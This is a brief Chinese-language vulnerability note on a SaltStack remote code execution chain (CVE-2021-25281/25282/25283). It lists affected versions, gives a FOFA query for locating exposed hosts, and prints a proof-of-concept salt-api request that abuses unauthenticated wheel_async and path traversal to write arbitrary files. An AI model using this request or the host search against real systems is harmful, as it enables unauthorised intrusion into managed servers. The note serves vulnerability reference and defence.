Saltstack 未授权RCE漏洞 (CVE-2021-25281/25282/25283)

SaltStack套件是政企机构 IT运维管理人员常用的管理工具,利用这些漏洞,最严重情形可导致未授权远程代码执行。

漏洞分析见:https://mp.weixin.qq.com/s/QvQoTuQJVthxS07pbLWJmg

云鼎实验室:首发分析 | SaltStack远程执行代码多个高危漏洞透析(CVE-2021-25281/25282/25283)

FOFA:

app="SALTSTACK-产品"

影响版本:

  • Saltstack 3002.2之前的所有版本
  • SaltStack =< 3002.2
  • SaltStack =< 3001.4
  • SaltStack =< 3000.6
  1. salt-api wheel_async未授权访问 (CVE-2021-25281)
  2. sdb rest插件模版渲染问题 (CVE-2021-25283)
  3. wheel/pillar_roots.py文件任意写漏洞 (CVE-2021-25282 )

CVE-2021-25281 + CVE-2021-25282 PoC:

http://target/run
POST:
"client": "wheel_async",
"fun": "pillar_roots.write",
"data": "../../../../../tmp/test2",
"path": "../../../../../tmp/test2",
"username": "password",
"password": "username",
"eauth": "pam"

poc.py:https://github.com/Immersive-Labs-Sec/CVE-2021-25281

ref:

Edge Security文库 all right reserved,powered by GitbookFile Modify: 2021-05-22 00:14:38

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